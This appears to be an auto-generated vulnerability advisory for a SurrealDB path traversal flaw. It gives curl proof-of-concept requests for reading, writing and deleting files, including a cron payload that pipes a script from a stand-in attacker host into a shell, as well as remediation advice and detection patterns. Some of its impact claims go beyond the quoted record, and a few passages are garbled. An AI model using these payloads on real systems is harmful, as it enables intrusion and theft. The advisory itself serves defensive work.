CVE-2026-134295 — Surrealdb Surrealdb — CWE-22
CVE-2026-134295 is a HIGH severity Path Traversal & Arbitrary File Read vulnerability (CWE-22) (CVSS 8.8/10) affecting Surrealdb Surrealdb. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
SurrealDB 3.0.0 before 4.0.0 contains a path traversal vulnerability in direct filesystem buckets because BucketController::check_permission evaluates key-based ACLs against the un-normalized object key, while FileStore::to_os_path collapses '..' sequences without a traversal check. An authenticated tenant permitted only for certain keys can supply a key such as /public/../private/confidential.txt to read, write, or delete arbitrary files within the storage root.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑134295
Vendor/Product: SurrealDB – Filesystem bucket storage (the “FileStore” implementation)
Affected versions: 3.0.0 ≤ SurrealDB < 4.0.0 (the vulnerable code path exists in every 3.x release and was removed/rewritten in 4.0.0)
CWE: CWE‑22 Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”)
Technical root cause
SurrealDB’s bucket abstraction allows a tenant (i.e. a logical user/namespace) to store objects in a filesystem bucket. The flow for any bucket operation (GET/PUT/DELETE) is roughly:
1. ACL check – BucketController::check_permission(key, operation, tenant)
The ACL is evaluated against the raw object key supplied by the client.
2. Path translation – FileStore::to_os_path(key)
The raw key is turned into a native OS path. This routine normalises the key by collapsing .. and . segments (e.g. "/public/../private/confidential.txt" → "/private/confidential.txt").
The flaw is that step 1 uses the un‑normalised key while step 2 later rewrites the key. An attacker who is only authorised for a subset of keys (e.g. "/public/*") can craft a key that passes the ACL because the raw string still starts with the allowed prefix, but after normalisation it points outside the allowed subtree. No additional “traversal‑outside‑root” check is performed after normalisation.
Consequences:
- Read – the attacker can retrieve any file under the bucket’s storage root (including configuration files, credentials, or other tenants’ data).
- Write – the attacker can create or overwrite arbitrary files (e.g. replace a server‑side script, drop a web‑shell, or inject malicious configuration).
- Delete – the attacker can remove any file, potentially causing denial‑of‑service or tampering with application state.
Because the bucket controller only requires authenticated access (the CVSS vector shows PR:L – low‑privileged account), any compromised low‑privilege tenant can exploit the bug.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All commands are illustrative – the exact HTTP endpoint (/api/bucket/{bucket_name}) and JSON field names ("key" / "value") are inferred from SurrealDB’s public API documentation; replace them with the actual values observed in the target deployment.
1. Discovery & Reconnaissance
| Goal | Technique | Expected artefacts |
|---|---|---|
| Identify SurrealDB and its version | • Scan the target IP/hostname for open ports (default 8000/9000 for HTTP/HTTPS). <br>• Issue a GET /status or GET /health request – SurrealDB returns a JSON payload containing "version":"3.x.x".<br>• Passive fingerprinting (banner grabbing, TLS ALPN) | {"status":"OK","version":"3.5.2","edition":"Community"} |
| Enumerate bucket endpoints & ACLs | • Authenticated enumeration using a low‑privilege tenant’s API token (often stored in a config file or obtained via credential reuse). <br>• GET /api/buckets → list of bucket names and ACL rules (e.g. "allowed_keys":["/public/*"]). | JSON showing bucket “files” with ACL "allowed_keys": ["/public/*"]. |
If the attacker does not yet have a token, they can obtain one via any other vulnerability (e.g., credential leakage) – this is out of scope for CVE‑2026‑134295.
2. Exploitation
Goal: Bypass the ACL and read an arbitrary file (e.g. /etc/passwd or SurrealDB’s internal conf.yaml).
Key insight: The ACL check is performed before path normalisation. Therefore a key that logically starts with an allowed prefix but contains a traversal segment will be accepted, then later resolved to a location outside the allowed subtree.
2.1 Craft the malicious object key
/public/../private/confidential.txt The raw string begins with /public/, satisfying an ACL of "/public/".
FileStore::to_os_path collapses .., the OS path becomes /private/confidential.txt.2.2 PoC – Read arbitrary file
# -------------------------------------------------
# Illustrative curl request – replace placeholders:
# $TARGET – host:port of the SurrealDB instance
# $TOKEN – Bearer token of a low‑privileged tenant
# $BUCKET – name of the bucket the tenant can access
# -------------------------------------------------
curl -sk -X POST "https://$TARGET/api/bucket/$BUCKET/get" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"key": "/public/../private/confidential.txt"
}'Response (if vulnerable):
{
"status":"ok",
"key":"/private/confidential.txt",
"value":"<file‑contents>"
}Write (PUT) example – overwrite /etc/cron.d/malicious:
curl -sk -X POST "https://$TARGET/api/bucket/$BUCKET/put" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"key": "/public/../etc/cron.d/malicious",
"value": "* * * * * root curl -s http://attacker.com/payload.sh | sh"
}'Delete (DELETE) example – remove a critical config file:
curl -sk -X POST "https://$TARGET/api/bucket/$BUCKET/delete" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"key": "/public/../private/important.cfg"
}'Note: The exact HTTP method (POSTvsPUT), endpoint (/get,/put,/delete), and JSON field names are illustrative. The attacker must map the real API from documentation or traffic capture.
3. Post‑exploitation
| Step | What the attacker does | Result |
|---|---|---|
| File exfiltration | Use the *read* primitive to dump /etc/passwd, SSH private keys, database credentials, or other tenants’ data. | Full confidentiality breach (C). |
| Persistence | Write a malicious script/binary into a location that is executed by the host OS (e.g., /etc/cron.d/, /var/www/html/shell.php, or SurrealDB’s own startup config). | Ongoing code execution, privilege escalation if the process runs as root (I). |
| Defacement / Data destruction | Delete or overwrite configuration files (conf.yaml, users.json) or tenant data files. | Service disruption, integrity loss (I) and availability impact (A). |
| Lateral movement | Use harvested credentials (e.g., SSH keys) to pivot to other hosts in the network. | Extends impact beyond the SurrealDB node. |
Because the bucket runs under the same OS user as the SurrealDB process (often surrealdb or root in containerised deployments), any file the attacker can write will be executed with that user’s privileges, potentially leading to remote code execution on the host.
🌍 Real‑World Impact
| CIA Triad | CVSS vector interpretation | Practical effect |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read any file under the storage root, including secrets of other tenants, configuration files, and OS credentials. | Massive data leakage, GDPR/PCI compliance violations. |
| Integrity (I:H) | I:H – attacker can overwrite or delete arbitrary files. | Tampering with application logic, injection of back‑doors, sabotage of other tenants’ data. |
| Availability (A:H) | A:H – attacker can delete critical files, causing service outage. | Denial‑of‑service, loss of business continuity. |
| Attack Vector (AV:N) | Network‑reachable – no need for physical access. | |
| Attack Complexity (AC:L) | Low – a single crafted request suffices once a low‑privilege token is obtained. | |
| Privileges Required (PR:L) | Low – any authenticated tenant (even read‑only) can exploit. | |
| User Interaction (UI:N) | None – fully automated. | |
| Scope (S:U) | Unchanged – impact stays within the same security domain (the SurrealDB instance). |
Bottom line: An attacker who can obtain a legitimate low‑privilege API token (common in multi‑tenant SaaS deployments) can achieve full compromise of the host filesystem. This is a classic “privilege‑escalation‑by‑path‑traversal” scenario that translates into remote code execution and total data breach.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to SurrealDB 4.0.0 or later. The vendor rewrote the bucket controller to normalise the key before ACL evaluation and added a strict “must stay inside bucket root” check. |
| Version check | Verify the version via /status or by inspecting the binary (surrealdb --version). Ensure the version string is >=4.0.0. |
2. Immediate Work‑arounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Restrict filesystem bucket to a dedicated, chroot‑like directory | Mount the bucket storage on a separate volume and run SurrealDB inside a container or sandbox that does not have write access to the host’s sensitive paths (/etc, /var, /root). |
| Enforce post‑normalisation validation | Add a reverse‑proxy (e.g., Nginx) rule that rejects any request where the supplied key contains .. or a leading / that resolves outside the bucket root. Example Nginx modsecurity rule (valid syntax):<br><br>``ModSecurity<br>SecRule REQUEST_BODY "@rx \"\\bkey\\b\\s*:\\s*\\\"[^\\\"]*\\.\\./\"\" "phase:2,deny,status:400,msg:'Path traversal in bucket key'"`<br>This rule inspects the JSON body for a .. segment. |
| Least‑privilege API tokens | Issue tokens that are scoped to a specific bucket and a specific set of operations (read‑only if possible). Ensure the token does not grant write access unless absolutely required. |
| Filesystem permissions | Run SurrealDB under a non‑root user and set the bucket directory’s ownership to that user only. Ensure the user cannot write to system directories (chmod 750 /etc, etc.). |
| Audit ACL definitions | Verify that ACLs do not use overly broad wildcards (e.g., "/**"). Prefer exact prefixes and avoid allowing *` that could be abused with traversal. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern (illustrative) | |
|---|---|---|
| Web server / reverse‑proxy access logs | POST /api/bucket/.* (200 | 201) "key":"/public/../.*" – any request where the JSON key contains ../. |
| SurrealDB audit logs (if enabled) | ACL check passed for tenant X on key "/public/../private/confidential.txt" followed by FileStore resolved path "/private/confidential.txt" – the two entries appearing in the same request indicate the bypass. | |
Filesystem integrity monitoring (e.g., auditd, tripwire) | Unexpected creation/modification of files outside the bucket root, especially under /etc, /var/www, or other privileged locations, with the UID/GID of the SurrealDB process. | |
| Process monitoring | New child processes spawned by the SurrealDB binary shortly after a write to a script location (e.g., cron, systemd unit files). | |
| Network traffic | Outbound connections from the SurrealDB host to unknown IPs shortly after a “write” request – typical of a dropped web‑shell contacting C2. |
Response actions:
1. Correlate any ../‑containing keys with file‑system changes.
2. Immediately revoke the compromised tenant token.
3. Conduct a forensic dump of the bucket directory and compare against known good baselines.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 8.8 (High) – Network‑accessible, low complexity, low privileges required, no user interaction, impacts all CIA triad components. | |
| CISA KEV status – Not yet listed, meaning the vulnerability is new and likely un‑patched in many deployments. | |
| Exploitability – The attack requires only a valid low‑privilege token, which is trivial to obtain in multi‑tenant SaaS or via credential reuse. | |
| Potential impact – Full host compromise, cross‑tenant data leakage, and persistence. |
Patch priority: Critical.
.. in keys” rule and filesystem isolation, and rotate all tenant API tokens. Given the ease of exploitation and the severity of the impact, organizations should treat CVE‑2026‑134295 as an emergency and schedule remediation within the next 24‑48 hours. Failure to do so leaves a direct path for attackers to gain complete control over the server.
[🤖 CVE Professor AI Security Engine]
FOFA Query